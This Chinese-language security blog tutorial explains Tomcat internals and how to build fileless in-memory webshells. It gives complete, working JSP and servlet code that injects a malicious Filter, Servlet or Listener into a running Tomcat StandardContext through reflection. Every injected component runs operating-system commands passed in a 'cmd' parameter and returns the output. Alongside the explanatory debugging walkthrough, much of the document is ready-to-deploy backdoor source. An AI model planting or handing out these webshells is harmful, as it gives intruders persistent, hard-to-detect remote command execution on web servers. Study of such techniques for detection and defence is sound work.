Java安全-Tomcat内存马学习

Java安全-Tomcat内存马学习

Tomcat

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,它早期的名称为catalina,后来由Apache、Sun 和其他一些公司及个人共同开发而成,并更名为Tomcat。Tomcat 是一个小型的轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选,因为Tomcat 技术先进、性能稳定,成为目前比较流行的Web 应用服务器。Tomcat是应用(java)服务器,它只是一个servlet容器,是Apache的扩展,但它是独立运行的。


从宏观上来看,Tomcat其实是Web服务器和Servlet容器的结合体。

Web服务器:通俗来讲就是将某台主机的资源文件映射成URL供给外界访问。(比如访问某台电脑上的图片文件)

Servlet容器:顾名思义就是存放Servlet对象的东西,Servlet主要作用是处理URL请求。(接受请求、处理请求、响应请求)

Tomcat由四大容器组成,分别是Engine、Host、Context、Wrapper。这四个组件是负责关系,存在包含关系。只包含一个引擎(Engine):

Engine(引擎):表示可运行的Catalina的servlet引擎实例,并且包含了servlet容器的核心功能。在一个服务中只能有一个引擎。同时,作为一个真正的容器,Engine元素之下可以包含一个或多个虚拟主机。它主要功能是将传入请求委托给适当的虚拟主机处理。如果根据名称没有找到可处理的虚拟主机,那么将根据默认的Host来判断该由哪个虚拟主机处理。

Host (虚拟主机):作用就是运行多个应用,它负责安装和展开这些应用,并且标识这个应用以便能够区分它们。它的子容器通常是 Context。一个虚拟主机下都可以部署一个或者多个Web App,每个Web App对应于一个Context,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理。主机组件类似于Apache中的虚拟主机,但在Tomcat中只支持基于FQDN(完全合格的主机名)的“虚拟主机”。Host主要用来解析web.xml。

Context(上下文):代表 Servlet 的 Context,它具备了 Servlet 运行的基本环境,它表示Web应用程序本身。Context 最重要的功能就是管理它里面的 Servlet 实例,一个Context代表一个Web应用,一个Web应用由一个或者多个Servlet实例组成。

Wrapper(包装器):代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。

看一个Tomcat的基本结构:

Webapps 对应的就是 Host 组件,ROOT 和 example 对应的就是 Context 组件(Web应用),每个Context内包含Wrapper,Wrapper 负责管理容器内的 Servlet:


根据Tomcat文档可知:

Engine,实现类为 org.apache.catalina.core.StandardEngine
Host,实现类为 org.apache.catalina.core.StandardHost
Context,实现类为 org.apache.catalina.core.StandardContext
Wrapper,实现类为 org.apache.catalina.core.StandardWrapper

值得一提的是,在 org.apache.catalina.core.StandardContext#startInternal()中表明了Tomcat启动加载的顺序:Listener -> Filter -> Servlet

protected synchronized void startInternal() throws LifecycleException {
......
if(ok && !this.listenerStart()) {
log.error(sm.getString("standardContext.listenerFail"));
ok = false;
}

if(ok) {
this.checkConstraintsForUncoveredMethods(this.findConstraints());
}

try {
Manager manager = this.getManager();
if(manager instanceof Lifecycle) {
((Lifecycle)manager).start();
}
} catch (Exception var18) {
log.error(sm.getString("standardContext.managerFail"), var18);
ok = false;
}

if(ok && !this.filterStart()) {
log.error(sm.getString("standardContext.filterFail"));
ok = false;
}

if(ok && !this.loadOnStartup(this.findChildren())) {
log.error(sm.getString("standardContext.servletFail"));
ok = false;
}

super.threadStart();
......

Wrapper代表(负责管理)一个Servlet,而Context中包含了一个或多个Warpper(即Servlet)。


Filter内存马

首先我们需要配置tomcat,并且创建webapp和web.xml

创建Filter测试类,用于我们调试

package com.sec.filter;

import javax.servlet.*;
import java.io.IOException;

public class FilterDemo implements Filter{
public void init(FilterConfig filterConfig) throws ServletException { }

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException, IOException {
Runtime.getRuntime().exec("calc");
filterChain.doFilter(servletRequest,servletResponse);
}

public void destroy() { }
}

web.xml添加上Filter的配置

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
version="3.1">
<filter>
<filter-name>FilterDemo</filter-name>
<filter-class>com.sec.filter.FilterDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>FilterDemo</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

</web-app>

后面这一步很重要,将tomcat下的lib文件夹jar包导入


当我们运行tomcat后,会直接弹出计算器。在实战环境下,你不可能写一个Filter对象然后又放到对方的代码中,这样子不就早getshell了

对于内存马,我们是需要找到一个注入点,动态的在内存中创建一个Filter对象,这样子的话就是一个真正的内存马


ServletContext

当我们启动web的时候,会产生一个ServletContext为接口的对象,这个对象全局唯一,而且工程内部的所有servlet都共享这个对象。所以叫全局应用程序共享对象

在web应用中,获取的ServletContext实际上是ApplicationContextFacade的对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,所以说我们在tomcat中拿到StandardContext则是去获取ApplicationContextFacade这个对象

使用request.getServletContext()函数会得ServletContext,它本质是ApplicationContextFacade类的对象,任何人都可以使用request.getServletContext()获取servletcontext

这里可以看到ApplicationContextFacade的context属性是一个ApplicationContext


ServletContext其实是一个接口,这个接口的实现是ApplicationContext类。StandardContext对象其实也就是ApplicationContext对象

ApplicationContext中有一个私有变量叫做StandardContext,StandardContext类的对象可以动态创建servlet和servlet的映射,也可以通过修改参数来添加filter到filterchain。

如果能通过反射调用StandardContext对象中的函数,那么就能制造filter与servlet类型的内存马


我们可以下断点到internalDoFilter类上,为什么我们要断在这呢,因为它是一个调用Filter对象的一个调度类,就是专门用来调用所有实现的Filter对象的doFilter方法,而其中的internalDoFilter就是去调用我们Filter对象中实现的doFilter方法的一个手段

我们可以往上看下谁调用到了internalDoFilter方法

我们往上看可以看到有个工厂类调用到了createFilterChain

跟进createFilterChain方法,获取到StandardContext对象

通过这个对象的findFilterMaps方法来获得所有需要调用的Filter对象

接着又会开始遍历这个FilterMap数组中的每个FilterMap对象(每个FilterMap都包含了每个Filter的相关信息),每次拿到一个FilterMap对象就是通过matchDispatcher和matchFiltersURL来比较访问的路由和Filter对象的路由是否有包含关系

最后会每个Filter对象相关信息都存储到了FilterConfig对象中,然后再把FilterConfig对象放到了filterChain这个属性中,而这里的filterChain属性就是外面的这个ApplicationFilterChain对象,到这里要调用的每个Filter对象都拼装好了,全部都放入了ApplicationFilterChain对象,ApplicationFilterChain这个对象我们上面也讲过,是一个调度类,专门调用每个Filter的doFilter方法。


FilterConfig

我们知道ApplicationFilterChain这个对象的由来和它的作用,先是经过一系列的处理最后拿到了ApplicationFilterChain这个对象,这个对象中包含了每个Filter的相关配置信息,最后则开始调用其中的doFilter方法

继续来看createFilterChain方法帮我们做的事情,它实现的Filter的添加,createFilterChain这个方法返回的filterChain最终会被进行调用,那么我们如果能实现在filterChain进行插入的话,那是不是我们就成功的实现了添加自定义的Filter对象

该对象有三个重要的属性,一个是ServletContext,一个是filter,一个是filterDef


我们前面通过matchDispatcher()、matchFilterURL()方法进行匹配,匹配成功后,还需判断StandardContext.filterConfigs中,是否存在对应filter的实例。当实例不为空时通过filterchain.addfilter(Filterconfig)函数来将FilterConfig对应的filter添加到filterchain中。此时filter内存马已经添加完成

也就是意味着standardcontext中的filtermap中有我们指定的filter,且filterconfig中有我们指定的filter,那么这个filter就会被正常加载到内存。


接下来的任务就是修改FilterMap与FilterConfig的值。

filterMaps是StandardContext对象中的数据我们可控。filterconfig是StandardContext中的数据我们可控,filterconfig中我们需要添加filterdef它也是我们可控的,StandardContext是我们可以操控的。综上filter动态添加过程是我们可操控的。


private HashMap<String, ApplicationFilterConfig> filterConfigs = new HashMap();

private HashMap<String, FilterDef> filterDefs = new HashMap();

private final StandardContext.ContextFilterMaps filterMaps = new StandardContext.ContextFilterMaps();

成员变量:


思路:

1、创建恶意的Filter

2、再获取filterConfigs

2、接着实现自定义想要注入的filter对象

4、然后为自定义对象的filter创建一个FilterDef

4、最后把 ServletContext对象 filter对象 FilterDef全部都设置到filterConfigs即可完成内存马的实现


首先我们最先使用request.getSession().getServletContext()获取到的是ApplicationContextFacade对象,ApplicationContextFacade下的context字段

反射实现代码:

//这里是反射获取ApplicationContextFacade
ServletContext servletContext = request.getSession().getServletContext();

//获取context也就是ApplicationContext
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true); //忽略权限控制检查,获取很高的代码执行权限

//返回指定对象obj上此 Field 表示的字段的值也就是返回指定对象servletContext上此context表示的字段的值
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
//获取到ApplicationContext下的context字段也就是StandardContext
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
//返回指定对象servletContext上此context表示的字段的值,也就是StandardContext对象
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

也就是意味着standardcontext中的filtermap中有我们指定的filter,且filterconfig中有我们指定的filter,那么这个filter就会被正常加载到内存。

接下来的任务就是修改FilterMap与FilterConfig的值。


构造Filter内存马

构造按照着 ApplicationFilterFactory#createFilterChain 方法里的代码逻辑进行构造

package com.sec.servlet;

import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import org.apache.catalina.core.ApplicationFilterConfig;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.Scanner;

@WebServlet("/demoServlet")
public class demoServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

Field Configs = null;
Map filterConfigs;
try {
//这里是反射获取ApplicationContextFacade
ServletContext servletContext = request.getSession().getServletContext();
//获取context也就是ApplicationContext
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true); //忽略权限控制检查,获取很高的代码执行权限
//返回指定对象obj上此 Field 表示的字段的值也就是返回指定对象servletContext上此context表示的字段的值
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
//获取到ApplicationContext下的context字段也就是StandardContext
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
//返回指定对象servletContext上此context表示的字段的值,也就是StandardContext对象
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

//获取filterConfigs
String FilterName = "cmd_Filter";
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
//返回standardContext对象的filterConfigs
filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(FilterName) == null) {
Filter filter = new Filter() {

public void init(FilterConfig filterConfig) throws ServletException {

}

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
//获取参数,执行并且回显
if (req.getParameter("cmd") != null){
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}

public void destroy() {

}
};

//反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
//获取FilterDef构造方法
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
//实例化一个对象
FilterDef o = (FilterDef)declaredConstructors.newInstance();
o.setFilter(filter); //设置filter
o.setFilterName(FilterName); //设置filter的名字
o.setFilterClass(filter.getClass().getName()); //设置filter的类
standardContext.addFilterDef(o); //在standardContext中加一个FilterDef

//反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
FilterMap o1 = (FilterMap)declaredConstructor.newInstance(); //生成filtermap的实例

o1.addURLPattern("/*"); // 设置匹配的url路径,这里是任意路径
o1.setFilterName(FilterName); //设置路径匹配的filter
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1); //添加一个filtermap到standardContext中

//反射获取ApplicationFilterConfig,构造方法FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);//生成ApplicationFilterConfig类型的值,等待被添加到filterconfig列表中,filterconfig中的内容都是ApplicationFilterConfig格式的
filterConfigs.put(FilterName,filterConfig); //将新的filterconfig添加到filterconfig列表里面。
response.getWriter().write("Success");
}
} catch (Exception e) {
e.printStackTrace();
}


}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
}

JSP马

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.util.Scanner" %>

<%
Field Configs = null;
Map filterConfigs;
try {
//这里是反射获取ApplicationContextFacade
ServletContext servletContext = request.getSession().getServletContext();
//获取context也就是ApplicationContext
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true); //忽略权限控制检查,获取很高的代码执行权限
//返回指定对象obj上此 Field 表示的字段的值也就是返回指定对象servletContext上此context表示的字段的值
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
//获取到ApplicationContext下的context字段也就是StandardContext
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
//返回指定对象servletContext上此context表示的字段的值,也就是StandardContext对象
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

//获取filterConfigs
String FilterName = "cmd_Filter";
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
//返回standardContext对象的filterConfigs
filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(FilterName) == null) {
Filter filter = new Filter() {

public void init(FilterConfig filterConfig) throws ServletException {

}

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
//获取参数,执行并且回显
if (req.getParameter("cmd") != null){
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}

public void destroy() {

}
};

//反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
//获取FilterDef构造方法
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
//实例化一个对象
FilterDef o = (FilterDef)declaredConstructors.newInstance();
o.setFilter(filter); //设置filter
o.setFilterName(FilterName); //设置filter的名字
o.setFilterClass(filter.getClass().getName()); //设置filter的类
standardContext.addFilterDef(o); //在standardContext中加一个FilterDef

//反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
FilterMap o1 = (FilterMap)declaredConstructor.newInstance(); //生成filtermap的实例

o1.addURLPattern("/*"); // 设置匹配的url路径,这里是任意路径
o1.setFilterName(FilterName); //设置路径匹配的filter
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1); //添加一个filtermap到standardContext中

//反射获取ApplicationFilterConfig,构造方法FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);//生成ApplicationFilterConfig类型的值,等待被添加到filterconfig列表中,filterconfig中的内容都是ApplicationFilterConfig格式的
filterConfigs.put(FilterName,filterConfig); //将新的filterconfig添加到filterconfig列表里面。
response.getWriter().write("Success");
}
} catch (Exception e) {
e.printStackTrace();
}
%>

tomcat-filter内存马需要在tomcat7+以上才能注入成功,原因是 javax.servlet.DispatcherType 类(shell.jsp中用到)是Servlet3以后才引入的,而且在 tomcat7+才支持 Servlet3!


Servlet内存马

Tomcat其实是Web服务器和Servlet容器的结合体。

Web服务器:通俗来讲就是将某台主机的资源文件映射成URL供给外界访问。(比如访问某台电脑上的图片文件)

Servlet容器:顾名思义就是存放Servlet对象的东西,Servlet主要作用是处理URL请求。(接受请求、处理请求、响应请求)


编写一个service Demo,方便我们后面调试

package com.sec.servlet;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;
import java.io.PrintWriter;

@WebServlet("/servicedemo")
public class ServiceDemo implements Servlet {
public void init(ServletConfig servletConfig) throws ServletException {

}

public ServletConfig getServletConfig() {
return null;
}

public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
System.out.println("Servlet启动...");
String cmd = servletRequest.getParameter("cmd");
PrintWriter writer = servletResponse.getWriter();
writer.write(cmd);
writer.flush();
writer.close();
}

public String getServletInfo() {
return null;
}

public void destroy() {

}
}

这里


Servlet

Servlet接口类有五个接口,分别是init(Servlet对象初始化时调用)、getServletConfig(获取web.xml中Servlet对应的init-param属性)、service(每次处理新的请求时调用)、getServletInfo(返回Servlet的配置信息,可自定义实现)、destroy(结束时调用):


注入Servlet

Servlet 的生命周期开始于Web容器的启动时(解析加载web.xml配置的servlet对象),它就会被载入到Web容器内存中,直到Web容器停止运行或者重新装入servlet时候结束。这里也就是说,一旦Servlet被装入到Web容器之后,一般是会长久驻留在Web容器之中。

在StandardContext中提供了动态添加Servlet类的方法:

public Dynamic addServlet(String servletName, String className) {
throw new UnsupportedOperationException(ContainerBase.sm.getString("noPluggabilityServletContext.notAllowed"));
}

public Dynamic addServlet(String servletName, Servlet servlet) {
throw new UnsupportedOperationException(ContainerBase.sm.getString("noPluggabilityServletContext.notAllowed"));
}

public Dynamic addServlet(String servletName, Class<? extends Servlet> servletClass) {
throw new UnsupportedOperationException(ContainerBase.sm.getString("noPluggabilityServletContext.notAllowed"));
}

我们从前面可知,Wrapper代表(负责管理)一个Servlet,而Context中包含了一个或多个Warpper(即Servlet)。


Servlet生成与配置

首先我们就要创建一个Wapper实例,StandardContext.createWapper()获得一个Wapper对象

Context 负责管理 Wapper ,而 Wapper 又负责管理 Servlet 实例。当获取到StandardContext对象,就可以用 createWapper() 来生成一个 Wapper 对象

接下来就是配置Servlet,探究配置过程,在 org.apache.catalina.core.StandardWapper#setServletClass() 下断点,Debug运行服务

断点调试,回溯到configureStart,可以看到这边是调用了webConfig()

我们直接往下看这里调用了configureContext方法

configureContext() 中依次读取了 Filter、Listener、Servlet的配置及其映射,我们直接看 Servlet 部分:

使用context对象的createWrapper()方法创建了Wapper对象,然后设置了启动优先级LoadOnStartUp,以及servlet的Name。

接着配置了Servlet的Class

最后将创建并配置好的 Wrapper 加入到 Context 的 Child 中。通过循环遍历所有 servlets 完成了 Servlet 从配置到添加的全过程,接下来就需要添加Servlet-Mapper了(对应web.xml中的

取出web.xml中所有配置的Servlet-Mapping,通过context.addServletMappingDecoded()将url路径和servlet类做映射。

跟进到addServletMappingDecoded()方法的StandardContext类中,发现addServletMappingDecoded()和addServletMapping()是一样的,只不过后者是不建议使用(某些低版本的Tomcat可以尝试使用)

总结下Servlet的生成和动态依次加入以下步骤:

1. 通过 context.createWapper() 创建 Wapper 对象;

2. 设置 Servlet 的 LoadOnStartUp 的值;

3. 设置 Servlet 的 Name;

4. 设置 Servlet 对应的 Class;

5. 将 Servlet 添加到 context 的 children 中;

6. 将 url 路径和 servlet 类做映射。

Servlet装载过程

配置好一个Servlet Demo,我们要在StandardWrapper#loadServlet()位置下断点,这边是用来加载Servlet

回溯到StandardContext#startInternal方法下,加载完Listener和Filter之后,才能装载Servlet

前面已经完成了将所有 servlet 添加到 context 的 children 中,this.findChildren()即把所有Wapper(负责管理Servlet)传入loadOnStartup()中处理,可想而知loadOnStartup()就是负责动态添加Servlet的一个函数:

首先获取Context下所有的Wapper类,并获取到每个Servlet的启动顺序,删选出 >= 0 的项加载到一个存放Wapper的list中。


每个Servlet的启动顺序在web.xml中声明:

<!--Demo-->
<servlet>
<servlet-name>servletDemo</servlet-name>
<servlet-class>com.java.Memory.ServletDemo</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>WEB-INF/dispatcher-servlet.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>servletDemo</servlet-name>
<url-pattern>/servlet</url-pattern>
</servlet-mapping>

如果没有声明 load-on-startup 属性(默认为-1):

然后对每个wapper进行装载:

装载所有的 Servlet 之后,就会根据具体请求进行初始化、调用、销毁一系列操作:

装载:启动服务器时加载Servlet的实例

初始化:web服务器启动时或web服务器接收到请求时,或者两者之间的某个时刻启动。初始化工作有init()方法负责执行完成

调用:即每次调用Servletservice(),从第一次到以后的多次访问,都是只是调用doGet()或doPost()方法(doGetdoPost内部实现,具体参照HttpServletservice()的重写)

销毁:停止服务器时调用destroy()方法,销毁实例

构造Servlet内存马

首先写一个Servlet.jsp的恶意类,实现service方法:

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>$Title$</title>
</head>
<body>

<%
//创建一个servlet恶意类
HttpServlet httpServlet = new HttpServlet() {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
InputStream is = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
BufferedInputStream bis = new BufferedInputStream(is);
int len;
while ((len = bis.read())!=-1){
resp.getWriter().write(len);
}
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
};

//获得StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext stdcontext = (StandardContext) req.getContext();

//从StandardContext.createWapper()获得一个Wapper对象
Wrapper newWrapper = stdcontext.createWrapper();
String name = httpServlet.getClass().getSimpleName();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(httpServlet);
newWrapper.setServletClass(httpServlet.getClass().getName());
//将Wrapper添加到StandardContext
stdcontext.addChild(newWrapper);
stdcontext.addServletMappingDecoded("/demo", name);
%>

首先我们访问下这个servlet.jsp,再访问/demo,即可执行命令

http://localhost:8080/demo?cmd=calc

Listener内存马

编写servlet程序

package com.sec.listen;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/listener")
public class TestListener extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().write("tomcat-listener!!");
}

protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}
}

编写 Listener 程序

package com.sec.listen;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;

@WebListener
public class ServletListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}

public void requestInitialized(ServletRequestEvent servletRequestEvent) {
System.out.println("ServletListener#requestInitialized is invoked!");
}
}

断点调试

跟进到 StandardContext#listenerStart 方法,先获取监听器然后遍历监听器进行实例化

进入findApplicationListeners方法,跟进看一下返回的是 applicationListeners 属性,其中包含我们编写的 ServletListener

遍历并实例化完监听器之后把实例化对象加入到 eventListeners 中, 然后通过 setApplicationEventListeners 方法把 eventListeners 设置到 applicationEventListenersList

跟进setApplicationEventListeners 方法,可以知道最终实例化出来的监听器被存储在 applicationEventListenersList 属性中

注册监听器就完成了,下面来看看是怎么调用注册的监听器的,在 requestInitialized 方法上下断点,调试启动 Tomcat 中间件

跟进到 StandardContext#fireRequestInitEvent 方法,通过 getApplicationEventListeners 方法获取到前面注册的监听器,然后循环遍历调用监听器的 requestInitialized 方法


构造Listener内存马

通过上面的分析可以知道,最后遍历调用的是 StandardContext.applicationEventListenersList 属性,所以内存马构造中需要获取到 StandardContext 类,然后获取其 applicationEventListenersList 属性,最后注入我们构造的恶意监听器到 applicationEventListenersList 属性里,构造如下:

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.RequestFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
class ServletListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {

}

@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
try {
String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
//获取到 Response 对象,用于命令回显输出
org.apache.catalina.connector.RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest();
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = (Response) request.getResponse();

//命令执行并通过 Response 对象进行输出结果到浏览器中
if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i = inputStream.read(bytes)) != -1){
response.getWriter().write(new String(bytes,0,i));
response.getWriter().write("\r\n");
}
}
}catch (Exception e){
e.printStackTrace();
}

}
}
%>


<%
//获取到StandardContext 对象的 applicationEventListenersList 属性,最后把恶意构造的监听器注入到 applicationEventListenersList 属性中
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
//创建一个Listeners的Object数组,用于添加
Object[] applicationEventListeners = standardContext.getApplicationEventListeners();
//将数组转换为集合
List<Object> objects = Arrays.asList(applicationEventListeners);
ArrayList arrayList = new ArrayList(objects);
//添加我们监听器
arrayList.add(new ServletListener());
//设置进我们的监听器
standardContext.setApplicationEventListeners(arrayList.toArray());
response.getWriter().write("Inject Success by listener!");
%>

访问该页面,成功弹出计算器

http://localhost:8080/listener.jsp?cmd=calc
上一篇

Java安全-Tomcat通用回显链